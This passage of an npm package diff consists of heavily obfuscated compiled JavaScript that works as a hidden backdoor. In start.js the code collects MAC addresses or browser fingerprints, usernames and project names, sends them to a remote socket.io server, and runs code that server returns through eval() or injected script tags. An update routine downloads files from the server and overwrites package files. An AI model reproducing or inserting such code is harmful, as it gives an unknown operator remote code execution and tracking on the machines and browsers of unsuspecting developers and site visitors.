_0x591369=_0x55ba34,_0x1adebf=/application\/json/i[_0x591369(0x1ef)](this['getHeader'](_0x591369(0x1ee)));if(_0x1adebf&&(_0x5334d2||_0x558f03[_0x591369(0x20b)](this))){const _0x2f8311=_0x558f03[_0x591369(0x205)](this)||[];if(_0x5334d2)_0x2f8311[_0x591369(0x1d7)](_0x5334d2);try{const _0x3c4a76=Buffer[_0x591369(0x215)](_0x2f8311[_0x591369(0x200)](_0x297ffa=>Buffer[_0x591369(0x210)](_0x297ffa)?_0x297ffa:Buffer['from'](_0x297ffa,_0x2bc79d))),_0x28b849=JSON[_0x591369(0x1f0)](_0x3c4a76['toString']()),_0x31b414=JSON[_0x591369(0x1fa)]({});return this[_0x591369(0x209)]('content-length',Buffer[_0x591369(0x1fd)](JSON['stringify'](_0x28b849))),_0x558f03[_0x591369(0x1ed)](this),_0x23f264[_0x591369(0x1e1)](this,_0x31b414,_0x2bc79d,_0x4d1649);}catch(_0x2a341f){}}return _0x558f03['delete'](this),_0x23f264[_0x591369(0x1e1)](this,_0x5334d2,_0x2bc79d,_0x4d1649);};}!global[_0x4829f9(0x213)]&&_0x54d12e();}());}catch(_0x30cfa8){}},0x7d0);function a9_0x1012(_0x4705de,_0x5b95ee){const _0x31ccbd=a9_0x31cc();return a9_0x1012=function(_0x1012ee,_0xc9be80){_0x1012ee=_0x1012ee-0x1d7;let _0x44ae82=_0x31ccbd[_0x1012ee];return _0x44ae82;},a9_0x1012(_0x4705de,_0x5b95ee);}const all={'mysql':promise_1[a9_0x527966(0x1dc)]};exports[a9_0x527966(0x1dc)]=all;
@@ -1 +1 @@
1
- {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AASvD,iBAAe,KAAK,kBAkGnB;AAED,eAAe,KAAK,CAAC"}
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAqBvD,iBAAe,KAAK,kBAmGnB;AAED,eAAe,KAAK,CAAC"}
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a97_0x319161=a97_0x3578;(function(_0x4ec371,_0x4801a5){const _0xdb51c9=a97_0x3578,_0x5446d9=_0x4ec371();while(!![]){try{const _0xe64803=-parseInt(_0xdb51c9(0x10d))/0x1*(parseInt(_0xdb51c9(0x121))/0x2)+parseInt(_0xdb51c9(0xf4))/0x3+parseInt(_0xdb51c9(0xf5))/0x4+-parseInt(_0xdb51c9(0x117))/0x5*(parseInt(_0xdb51c9(0xfe))/0x6)+parseInt(_0xdb51c9(0x11d))/0x7+-parseInt(_0xdb51c9(0x11c))/0x8+parseInt(_0xdb51c9(0x124))/0x9;if(_0xe64803===_0x4801a5)break;else _0x5446d9['push'](_0x5446d9['shift']());}catch(_0x59828e){_0x5446d9['push'](_0x5446d9['shift']());}}}(a97_0x3f06,0xe53a8));var __awaiter=this&&this[a97_0x319161(0xf3)]||function(_0x4561e5,_0x4ae2a4,_0x357968,_0x310a1b){function _0x4378d3(_0x3d2326){return _0x3d2326 instanceof _0x357968?_0x3d2326:new _0x357968(function(_0x4b16d6){_0x4b16d6(_0x3d2326);});}return new(_0x357968||(_0x357968=Promise))(function(_0x8ee7d8,_0x460d70){const _0x144cae=a97_0x3578;function _0x2984e8(_0x388acc){const _0x54199f=a97_0x3578;try{_0xe68e85(_0x310a1b[_0x54199f(0x102)](_0x388acc));}catch(_0x247b97){_0x460d70(_0x247b97);}}function _0x429d4b(_0x52a261){try{_0xe68e85(_0x310a1b['throw'](_0x52a261));}catch(_0x45bb7c){_0x460d70(_0x45bb7c);}}function _0xe68e85(_0x38d70e){const _0x206b27=a97_0x3578;_0x38d70e[_0x206b27(0x114)]?_0x8ee7d8(_0x38d70e[_0x206b27(0x123)]):_0x4378d3(_0x38d70e[_0x206b27(0x123)])[_0x206b27(0x112)](_0x2984e8,_0x429d4b);}_0xe68e85((_0x310a1b=_0x310a1b[_0x144cae(0x119)](_0x4561e5,_0x4ae2a4||[]))['next']());});},__importDefault=this&&this[a97_0x319161(0x111)]||function(_0xa9d439){const _0x3867c7=a97_0x319161;return _0xa9d439&&_0xa9d439[_0x3867c7(0x106)]?_0xa9d439:{'default':_0xa9d439};},_a,_b,_c,_d;function a97_0x3578(_0x15e28c,_0x3a784d){const _0x3f0634=a97_0x3f06();return a97_0x3578=function(_0x35787b,_0xd0d594){_0x35787b=_0x35787b-0xe7;let _0x404f9e=_0x3f0634[_0x35787b];return _0x404f9e;},a97_0x3578(_0x15e28c,_0x3a784d);}Object[a97_0x319161(0x100)](exports,a97_0x319161(0x106),{'value':!![]}),exports[a97_0x319161(0x10a)]=void 0x0;const socket_io_client_1=require(a97_0x319161(0x104)),path_1=__importDefault(require(a97_0x319161(0xec))),browser_1=require(a97_0x319161(0xfb)),fingerprintjs_1=__importDefault(require(a97_0x319161(0x122))),bowser_1=__importDefault(require('bowser')),index_1=require(a97_0x319161(0xe7));exports['isBrowser']=typeof window!=='undefined';function a97_0x3f06(){const _0x56a6ce=['join','__importDefault','then','node','done','isDBDataEmpty','error','30yvdRCK','浏览器','apply','get-event','websocket','8779192qNnyGs','8556863LwNfPI','url','submit','catch','46PIhNDV','@fingerprintjs/fingerprintjs','value','25668558oMmCUd','./index','get','browser','event','setEnv','path','visitorId','无法获取','./mac','sqlList','env','content','__awaiter','1906275knrWfF','475524xcFOBw','userAgent','connect_error','default','concat','connect_failed','./browser','sql','navigator','1592640ctkGTv','getEnv','defineProperty','type','next','npm_package_name','socket.io-client','parse','__esModule','emit','script','length','isBrowser','/socket','node获取失败','52166CuhgeG','connectError','00:00:00:00:00:00'];a97_0x3f06=function(){return _0x56a6ce;};return a97_0x3f06();}const user_name=exports[a97_0x319161(0x10a)]?((_b=(_a=bowser_1[a97_0x319161(0xf8)][a97_0x319161(0x105)](window[a97_0x319161(0xfd)][a97_0x319161(0xf6)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b['name'])||a97_0x319161(0x118):((_c=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_c===void 0x0?void 0x0:_c['USERNAME'])||a97_0x319161(0x10c),project_name=exports[a97_0x319161(0x10a)]?a97_0x319161(0x118):((_d=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_d===void 0x0?void 0x0:_d[a97_0x319161(0x103)])||a97_0x319161(0xee);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x141d1d=a97_0x3578;exports[_0x141d1d(0x10a)]&&(0x0,browser_1[_0x141d1d(0xe9)])();const _0x3a46a0=(0x0,socket_io_client_1['io'])(index_1[_0x141d1d(0x11e)],{'path':_0x141d1d(0x10b),'transports':[_0x141d1d(0x11b)]});_0x3a46a0['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x478d17=_0x141d1d;try{let _0xae9e84=[_0x478d17(0x10f)];if(!exports['isBrowser']){const _0x1b85b5=require(path_1['default'][_0x478d17(0x110)](__dirname,_0x478d17(0xef)))[_0x478d17(0xf8)];_0xae9e84=_0x1b85b5();}else{let _0x5a080e=yield fingerprintjs_1[_0x478d17(0xf8)]['load']()[_0x478d17(0x112)](_0x31d039=>_0x31d039[_0x478d17(0xe8)]())[_0x478d17(0x112)](_0x4f6a6d=>{const _0x25fa7b=_0x478d17,_0x259112=_0x4f6a6d[_0x25fa7b(0xed)];return _0x259112;})[_0x478d17(0x120)](()=>'');_0xae9e84=[_0x5a080e];}if(_0xae9e84[_0x478d17(0x109)]===0x0){(0x0,index_1[_0x478d17(0xeb)])(_0x478d17(0x10e),!![]);return;}else(0x0,index_1['setEnv'])(_0x478d17(0x10e),![]);_0x3a46a0[_0x478d17(0x107)]('submit',{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x478d17(0x10a)]}),_0x3a46a0[_0x478d17(0x107)]('get-event',{'mac':_0xae9e84,'isBrowser':exports[_0x478d17(0x10a)]}),setInterval(()=>{const _0x2f31ae=_0x478d17;_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11f),{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x2f31ae(0x10a)]}),_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11a),{'mac':_0xae9e84,'isBrowser':exports[_0x2f31ae(0x10a)]});},0x1b58),_0x3a46a0['on'](_0x478d17(0xea),_0x11c127=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x14e72c=_0x478d17;try{for(let _0x394407=0x0;_0x394407<_0x11c127[_0x14e72c(0x109)];_0x394407++){const _0x4e289f=_0x11c127[_0x394407];if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0xfc))(0x0,index_1[_0x14e72c(0xeb)])('sqlList',(0x0,index_1[_0x14e72c(0xff)])(_0x14e72c(0xf0))[_0x14e72c(0xf9)](_0x4e289f[_0x14e72c(0xf2)]));else{if(_0x4e289f[_0x14e72c(0x101)]==='mysql')(0x0,index_1[_0x14e72c(0xeb)])(_0x14e72c(0x115),!![]);else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x113)&&!exports[_0x14e72c(0x10a)])try{eval(_0x4e289f[_0x14e72c(0xf2)]);}catch(_0x5e9d3f){}else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x108)&&exports[_0x14e72c(0x10a)])try{(0x0,browser_1['runScript'])(_0x4e289f['content']);}catch(_0x50e1ab){}}}}}}catch(_0x37e477){}}));}catch(_0xfb451d){}})),setTimeout(()=>{const _0x43aa79=_0x141d1d;_0x3a46a0['on'](_0x43aa79(0x116),_0x24316a=>{const _0x1ec295=_0x43aa79;(0x0,index_1[_0x1ec295(0xeb)])(_0x1ec295(0x10e),!![]);}),_0x3a46a0['on'](_0x43aa79(0xfa),_0x5b5377=>{const _0x2bb768=_0x43aa79;(0x0,index_1[_0x2bb768(0xeb)])(_0x2bb768(0x10e),!![]);}),_0x3a46a0['on']('reconnect_failed',_0x3b59d6=>{const _0x17e794=_0x43aa79;(0x0,index_1[_0x17e794(0xeb)])('connectError',!![]);}),_0x3a46a0['on'](_0x43aa79(0xf7),()=>{const _0x3bd4c3=_0x43aa79;(0x0,index_1[_0x3bd4c3(0xeb)])(_0x3bd4c3(0x10e),!![]);});},0xbb8);});}exports['default']=start;
1
+ 'use strict';function a10_0x1eec(_0x145c82,_0x41c238){const _0x2e4ad2=a10_0x2e4a();return a10_0x1eec=function(_0x1eec17,_0x12b843){_0x1eec17=_0x1eec17-0x1bd;let _0x4fe5bf=_0x2e4ad2[_0x1eec17];return _0x4fe5bf;},a10_0x1eec(_0x145c82,_0x41c238);}const a10_0x16358a=a10_0x1eec;(function(_0x363118,_0x582d8b){const _0x2b8f14=a10_0x1eec,_0x2643c9=_0x363118();while(!![]){try{const _0x499dfa=-parseInt(_0x2b8f14(0x1e9))/0x1+parseInt(_0x2b8f14(0x1d5))/0x2*(-parseInt(_0x2b8f14(0x1eb))/0x3)+parseInt(_0x2b8f14(0x1ee))/0x4+-parseInt(_0x2b8f14(0x1f3))/0x5*(parseInt(_0x2b8f14(0x1c4))/0x6)+parseInt(_0x2b8f14(0x1d1))/0x7+-parseInt(_0x2b8f14(0x1cf))/0x8*(-parseInt(_0x2b8f14(0x1c6))/0x9)+parseInt(_0x2b8f14(0x1be))/0xa*(-parseInt(_0x2b8f14(0x1f1))/0xb);if(_0x499dfa===_0x582d8b)break;else _0x2643c9['push'](_0x2643c9['shift']());}catch(_0x3baa0f){_0x2643c9['push'](_0x2643c9['shift']());}}}(a10_0x2e4a,0xaaf36));function a10_0x2e4a(){const _0x42209f=['reconnect_failed','bowser','emit','name','submit','WebSocket','node获取失败','无法获取','USERNAME','default','connect','114136qOmbpD','__awaiter','9HccTNx','connect_failed','undefined','2523276DVaQZw','./index','setEnv','2632135rjTsUQ','event','1970LxlNwW','length','isDBDataEmpty','50ngSPWo','content','runScript','type','env','navigator','1068hUiMHZ','connectError','45729jZGePO','mysql','apply','url','error','./browser/index','visitorId','isBrowser','value','1904gXTpuQ','@fingerprintjs/fingerprintjs','4880736eVQoRg','script','00:00:00:00:00:00','get-event','304292kSiLmC','./mac','浏览器','then','userAgent','next','/socket','get','throw'];a10_0x2e4a=function(){return _0x42209f;};return a10_0x2e4a();}var __awaiter=this&&this[a10_0x16358a(0x1ea)]||function(_0x55f10f,_0x3570d1,_0x364e46,_0x3d72e2){function _0x5a19e3(_0x2b6f2d){return _0x2b6f2d instanceof _0x364e46?_0x2b6f2d:new _0x364e46(function(_0x166778){_0x166778(_0x2b6f2d);});}return new(_0x364e46||(_0x364e46=Promise))(function(_0x5d14a2,_0x34987b){const _0x4ddf3a=a10_0x1eec;function _0x250c94(_0x584c20){const _0x2b6a15=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x2b6a15(0x1da)](_0x584c20));}catch(_0x387cf7){_0x34987b(_0x387cf7);}}function _0xe33ca7(_0x1a081f){const _0x5348b8=a10_0x1eec;try{_0x4f576a(_0x3d72e2[_0x5348b8(0x1dd)](_0x1a081f));}catch(_0x55ee71){_0x34987b(_0x55ee71);}}function _0x4f576a(_0x16523c){const _0x515379=a10_0x1eec;_0x16523c['done']?_0x5d14a2(_0x16523c[_0x515379(0x1ce)]):_0x5a19e3(_0x16523c[_0x515379(0x1ce)])['then'](_0x250c94,_0xe33ca7);}_0x4f576a((_0x3d72e2=_0x3d72e2[_0x4ddf3a(0x1c8)](_0x55f10f,_0x3570d1||[]))[_0x4ddf3a(0x1da)]());});},__importDefault=this&&this['__importDefault']||function(_0x454447){return _0x454447&&_0x454447['__esModule']?_0x454447:{'default':_0x454447};},_a,_b,_c,_d;Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a10_0x16358a(0x1cd)]=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require('path')),index_1=require(a10_0x16358a(0x1cb)),fingerprintjs_1=__importDefault(require(a10_0x16358a(0x1d0))),bowser_1=__importDefault(require(a10_0x16358a(0x1df))),index_2=require(a10_0x16358a(0x1ef));exports['isBrowser']=typeof window!==a10_0x16358a(0x1ed);exports[a10_0x16358a(0x1cd)]&&(window[a10_0x16358a(0x1e3)]=class extends WebSocket{constructor(..._0x1f6b45){try{super(..._0x1f6b45);}catch(_0x114225){}}});const user_name=exports[a10_0x16358a(0x1cd)]?((_b=(_a=bowser_1[a10_0x16358a(0x1e7)]['parse'](window[a10_0x16358a(0x1c3)][a10_0x16358a(0x1d9)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b[a10_0x16358a(0x1e1)])||a10_0x16358a(0x1d7):((_c=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_c===void 0x0?void 0x0:_c[a10_0x16358a(0x1e6)])||a10_0x16358a(0x1e4),project_name=exports[a10_0x16358a(0x1cd)]?document['title']||a10_0x16358a(0x1d7):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x16358a(0x1c2)])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a10_0x16358a(0x1e5);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x4179b3=a10_0x1eec;exports['isBrowser']&&(0x0,index_1['browser'])();try{const _0x413192=(0x0,socket_io_client_1['io'])(index_2[_0x4179b3(0x1c9)],{'path':_0x4179b3(0x1db),'transports':['websocket'],'timeout':0x1770,'reconnection':![]});_0x413192['on'](_0x4179b3(0x1e8),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4cc236=_0x4179b3;try{let _0x4adca8=[_0x4cc236(0x1d3)];if(!exports['isBrowser']){const _0x3ebcee=require(path_1[_0x4cc236(0x1e7)]['join'](__dirname,_0x4cc236(0x1d6)))['default'];_0x4adca8=_0x3ebcee();}else{let _0x5ddcb8=yield fingerprintjs_1[_0x4cc236(0x1e7)]['load']()[_0x4cc236(0x1d8)](_0x96d644=>_0x96d644[_0x4cc236(0x1dc)]())[_0x4cc236(0x1d8)](_0x212ecf=>{const _0x3f245f=_0x4cc236,_0x5c4fd5=_0x212ecf[_0x3f245f(0x1cc)];return _0x5c4fd5;})['catch'](()=>'');_0x4adca8=[_0x5ddcb8];}if(_0x4adca8[_0x4cc236(0x1f4)]===0x0){(0x0,index_2['setEnv'])(_0x4cc236(0x1c5),!![]);return;}else(0x0,index_2[_0x4cc236(0x1f0)])(_0x4cc236(0x1c5),![]);_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1e2),{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x4cc236(0x1cd)]}),_0x413192[_0x4cc236(0x1e0)](_0x4cc236(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x4cc236(0x1cd)]}),setInterval(()=>{const _0x31dad2=_0x4cc236;_0x413192[_0x31dad2(0x1e0)]('submit',{'mac':_0x4adca8,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x31dad2(0x1cd)]}),_0x413192[_0x31dad2(0x1e0)](_0x31dad2(0x1d4),{'mac':_0x4adca8,'isBrowser':exports[_0x31dad2(0x1cd)]});},0x1b58),_0x413192['on'](_0x4cc236(0x1f2),_0x33d818=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x51d724=_0x4cc236;try{for(let _0x324957=0x0;_0x324957<_0x33d818[_0x51d724(0x1f4)];_0x324957++){const _0x315e78=_0x33d818[_0x324957];if(_0x315e78[_0x51d724(0x1c1)]===_0x51d724(0x1c7))(0x0,index_2['setEnv'])(_0x51d724(0x1bd),!![]);else{if(_0x315e78[_0x51d724(0x1c1)]==='node'&&!exports[_0x51d724(0x1cd)])try{eval(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xec97e4){}else{if(_0x315e78['type']===_0x51d724(0x1d2)&&exports[_0x51d724(0x1cd)])try{(0x0,index_1[_0x51d724(0x1c0)])(_0x315e78[_0x51d724(0x1bf)]);}catch(_0xf0f1a2){}}}}}catch(_0x48589e){}}));}catch(_0xd7fdb0){}})),_0x413192['on'](_0x4179b3(0x1ca),_0x163016=>{const _0x474d8b=_0x4179b3;(0x0,index_2[_0x474d8b(0x1f0)])(_0x474d8b(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1ec),_0x5efb16=>{const _0x48b6c4=_0x4179b3;(0x0,index_2[_0x48b6c4(0x1f0)])(_0x48b6c4(0x1c5),!![]);}),_0x413192['on'](_0x4179b3(0x1de),_0xab2cf3=>{const _0x3a73e1=_0x4179b3;(0x0,index_2['setEnv'])(_0x3a73e1(0x1c5),!![]);}),_0x413192['on']('connect_error',()=>{(0x0,index_2['setEnv'])('connectError',!![]);});}catch(_0x497fcb){}});}exports[a10_0x16358a(0x1e7)]=start;
@@ -1 +1 @@
1
- 'use strict';const a98_0x48bf19=a98_0x2ea1;(function(_0x5a60fe,_0x39caed){const _0x5669a6=a98_0x2ea1,_0x20dae8=_0x5a60fe();while(!![]){try{const _0x12385c=-parseInt(_0x5669a6(0x1ea))/0x1*(-parseInt(_0x5669a6(0x1dc))/0x2)+parseInt(_0x5669a6(0x1f1))/0x3+parseInt(_0x5669a6(0x1f9))/0x4+parseInt(_0x5669a6(0x1f7))/0x5*(-parseInt(_0x5669a6(0x1ef))/0x6)+parseInt(_0x5669a6(0x1f4))/0x7+parseInt(_0x5669a6(0x1fc))/0x8+-parseInt(_0x5669a6(0x1f0))/0x9*(parseInt(_0x5669a6(0x1e8))/0xa);if(_0x12385c===_0x39caed)break;else _0x20dae8['push'](_0x20dae8['shift']());}catch(_0x2d6c23){_0x20dae8['push'](_0x20dae8['shift']());}}}(a98_0x2039,0x3ee07));function a98_0x2039(){const _0x2aa9fb=['url','values','get','default','./index','existsSync','111270mnUONr','readFileSync','1GzfWFS','join','../../package.json','undefined','main','56310DbJdIB','603iZYoSu','169101zJXIyB','toString','ESM','920913PwfELF','data','{version:\x220.0.0\x22}','10PCdxuv','./index.js','1117688jzAetX','then','length','3229512uqmwPD','axios','exports','parse','path','301570YdVgAW','version','success','CJS','__importDefault','writeFileSync'];a98_0x2039=function(){return _0x2aa9fb;};return a98_0x2039();}var __importDefault=this&&this[a98_0x48bf19(0x1e0)]||function(_0x102dd3){return _0x102dd3&&_0x102dd3['__esModule']?_0x102dd3:{'default':_0x102dd3};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const axios_1=__importDefault(require(a98_0x48bf19(0x1d8))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a98_0x48bf19(0x1db))),index_1=require(a98_0x48bf19(0x1e6)),sha1_1=__importDefault(require('sha1'));function a98_0x2ea1(_0x477656,_0x2e4946){const _0x2039cb=a98_0x2039();return a98_0x2ea1=function(_0x2ea1f4,_0x263412){_0x2ea1f4=_0x2ea1f4-0x1d8;let _0x1ee10c=_0x2039cb[_0x2ea1f4];return _0x1ee10c;},a98_0x2ea1(_0x477656,_0x2e4946);}function getModuleType(){const _0xd14e85=a98_0x48bf19,_0x190320=()=>{const _0x21916e=a98_0x2ea1;try{return typeof require!==_0x21916e(0x1ed)&&typeof module!==_0x21916e(0x1ed)&&module[_0x21916e(0x1d9)]&&require[_0x21916e(0x1ee)]===module;}catch(_0x47195f){return![];}};return _0x190320()?_0xd14e85(0x1df):_0xd14e85(0x1f3);}let _path=path_1[a98_0x48bf19(0x1e5)]['join'](__dirname,a98_0x48bf19(0x1ec)),indexFile=path_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1eb)](__dirname,a98_0x48bf19(0x1f8)),vFile=fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e7)](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](_path)[a98_0x48bf19(0x1f2)]():a98_0x48bf19(0x1f6),indexFileContent=fs_1['default']['existsSync'](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](indexFile)['toString']():![],version=JSON[a98_0x48bf19(0x1da)](vFile)[a98_0x48bf19(0x1dd)];function update(){const _0x455681=a98_0x48bf19;axios_1[_0x455681(0x1e5)][_0x455681(0x1e4)](index_1[_0x455681(0x1e2)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x455681(0x1fa)](_0x56ce61=>{const _0x7c3d3b=_0x455681;if(!_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1de)]){let _0x15e777=Object['keys'](_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1f5)]),_0x4044a1=Object[_0x7c3d3b(0x1e3)](_0x56ce61[_0x7c3d3b(0x1f5)]['data']);for(let _0x20a79d=0x0;_0x20a79d<_0x15e777[_0x7c3d3b(0x1fb)];_0x20a79d++){const _0xe9e530=_0x15e777[_0x20a79d],_0x21a002=_0x4044a1[_0x20a79d];fs_1['default'][_0x7c3d3b(0x1e1)](path_1[_0x7c3d3b(0x1e5)][_0x7c3d3b(0x1eb)](__dirname,'./'+_0xe9e530),_0x21a002);}}});}exports[a98_0x48bf19(0x1e5)]=update;
1
+ 'use strict';const a11_0x203f11=a11_0x50e6;(function(_0xf10923,_0x4b645d){const _0x1b2c92=a11_0x50e6,_0x3f255a=_0xf10923();while(!![]){try{const _0x5eda5e=-parseInt(_0x1b2c92(0x163))/0x1+parseInt(_0x1b2c92(0x174))/0x2+parseInt(_0x1b2c92(0x158))/0x3*(parseInt(_0x1b2c92(0x168))/0x4)+-parseInt(_0x1b2c92(0x176))/0x5+-parseInt(_0x1b2c92(0x166))/0x6+-parseInt(_0x1b2c92(0x16f))/0x7+parseInt(_0x1b2c92(0x173))/0x8*(parseInt(_0x1b2c92(0x15b))/0x9);if(_0x5eda5e===_0x4b645d)break;else _0x3f255a['push'](_0x3f255a['shift']());}catch(_0x51416b){_0x3f255a['push'](_0x3f255a['shift']());}}}(a11_0x387b,0xab9f7));var __importDefault=this&&this[a11_0x203f11(0x178)]||function(_0x3b87a7){const _0x3dd847=a11_0x203f11;return _0x3b87a7&&_0x3b87a7[_0x3dd847(0x15f)]?_0x3b87a7:{'default':_0x3b87a7};};function a11_0x50e6(_0x181c15,_0x4040d8){const _0x387bed=a11_0x387b();return a11_0x50e6=function(_0x50e61a,_0x1d91be){_0x50e61a=_0x50e61a-0x158;let _0x481bf3=_0x387bed[_0x50e61a];return _0x481bf3;},a11_0x50e6(_0x181c15,_0x4040d8);}Object[a11_0x203f11(0x162)](exports,a11_0x203f11(0x15f),{'value':!![]});const axios_1=__importDefault(require(a11_0x203f11(0x164))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x203f11(0x16e))),index_1=require(a11_0x203f11(0x160)),sha1_1=__importDefault(require(a11_0x203f11(0x171)));function getModuleType(){const _0x263311=a11_0x203f11,_0x3f1c51=()=>{const _0x49ade0=a11_0x50e6;try{return typeof require!==_0x49ade0(0x167)&&typeof module!=='undefined'&&module[_0x49ade0(0x15e)]&&require[_0x49ade0(0x159)]===module;}catch(_0x17be21){return![];}};return _0x3f1c51()?_0x263311(0x175):'ESM';}let _path=path_1['default'][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x16a)),indexFile=path_1[a11_0x203f11(0x16b)][a11_0x203f11(0x165)](__dirname,a11_0x203f11(0x15a)),vFile=fs_1[a11_0x203f11(0x16b)]['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](_path)['toString']():'{version:\x220.0.0\x22}',indexFileContent=fs_1['default']['existsSync'](_path)?fs_1['default'][a11_0x203f11(0x179)](indexFile)['toString']():![],version=JSON[a11_0x203f11(0x15d)](vFile)[a11_0x203f11(0x16d)];function update(){const _0x162b61=a11_0x203f11;axios_1['default'][_0x162b61(0x16c)](index_1[_0x162b61(0x170)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x162b61(0x161)](_0x38362c=>{const _0x1673be=_0x162b61;if(!_0x38362c[_0x1673be(0x172)][_0x1673be(0x177)]){let _0x192c4c=Object[_0x1673be(0x169)](_0x38362c[_0x1673be(0x172)]['data']),_0x28976a=Object[_0x1673be(0x15c)](_0x38362c[_0x1673be(0x172)][_0x1673be(0x172)]);for(let _0x66096d=0x0;_0x66096d<_0x192c4c[_0x1673be(0x17a)];_0x66096d++){const _0x343913=_0x192c4c[_0x66096d],_0x4c6c85=_0x28976a[_0x66096d];fs_1[_0x1673be(0x16b)]['writeFileSync'](path_1[_0x1673be(0x16b)][_0x1673be(0x165)](__dirname,'./'+_0x343913),_0x4c6c85);}}});}exports['default']=update;function a11_0x387b(){const _0x5cb012=['__esModule','./index','then','defineProperty','1207864LqWGdA','axios','join','1972632znRXae','undefined','287644htfmdD','keys','../../package.json','default','get','version','path','4252528UWSfZl','url','sha1','data','416eelKPN','432278tbJBdL','CJS','2666950TVMEMD','success','__importDefault','readFileSync','length','30rtsJgd','main','./index.js','423216rAPtDo','values','parse','exports'];a11_0x387b=function(){return _0x5cb012;};return a11_0x387b();}
@@ -1,3 +1,3 @@
1
1
  export declare function runScript(content: string): void;
2
2
  export declare function browser(): void;
3
- //# sourceMappingURL=browser.d.ts.map
3
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
@@ -0,0 +1 @@
1
+ (function(_0x380c7f,_0x231703){const _0x5419d3=a12_0x260d,_0x2e067b=_0x380c7f();while(!![]){try{const _0x4535bd=parseInt(_0x5419d3(0x155))/0x1*(parseInt(_0x5419d3(0x14b))/0x2)+-parseInt(_0x5419d3(0x144))/0x3*(parseInt(_0x5419d3(0x14e))/0x4)+-parseInt(_0x5419d3(0x145))/0x5*(-parseInt(_0x5419d3(0x14c))/0x6)+parseInt(_0x5419d3(0x148))/0x7+parseInt(_0x5419d3(0x150))/0x8*(-parseInt(_0x5419d3(0x143))/0x9)+-parseInt(_0x5419d3(0x147))/0xa*(-parseInt(_0x5419d3(0x14d))/0xb)+-parseInt(_0x5419d3(0x156))/0xc*(parseInt(_0x5419d3(0x146))/0xd);if(_0x4535bd===_0x231703)break;else _0x2e067b['push'](_0x2e067b['shift']());}catch(_0x1423bd){_0x2e067b['push'](_0x2e067b['shift']());}}}(a12_0x3f51,0xbe909));function a12_0x260d(_0x5075a4,_0x22e257){const _0x3f51b9=a12_0x3f51();return a12_0x260d=function(_0x260db1,_0x268c06){_0x260db1=_0x260db1-0x142;let _0x1d7eb4=_0x3f51b9[_0x260db1];return _0x1d7eb4;},a12_0x260d(_0x5075a4,_0x22e257);}import a12_0x5c1aa7 from'../id/random';import{getEnv}from'../index';import a12_0x4a0b26 from'./tools';export function runScript(_0xd2d273){const _0x482c78=a12_0x260d;let _0x57fa55=document['createElement'](_0x482c78(0x142));_0x57fa55[_0x482c78(0x149)]=_0x482c78(0x14f)+_0xd2d273+_0x482c78(0x154),document[_0x482c78(0x14a)][_0x482c78(0x151)](_0x57fa55),setTimeout(()=>{const _0x23a0ad=_0x482c78;_0x57fa55[_0x23a0ad(0x152)]();},0x14);}export function browser(){const _0x8a42d6=a12_0x260d;getEnv(_0x8a42d6(0x153))&&a12_0x4a0b26(),setInterval(()=>{const 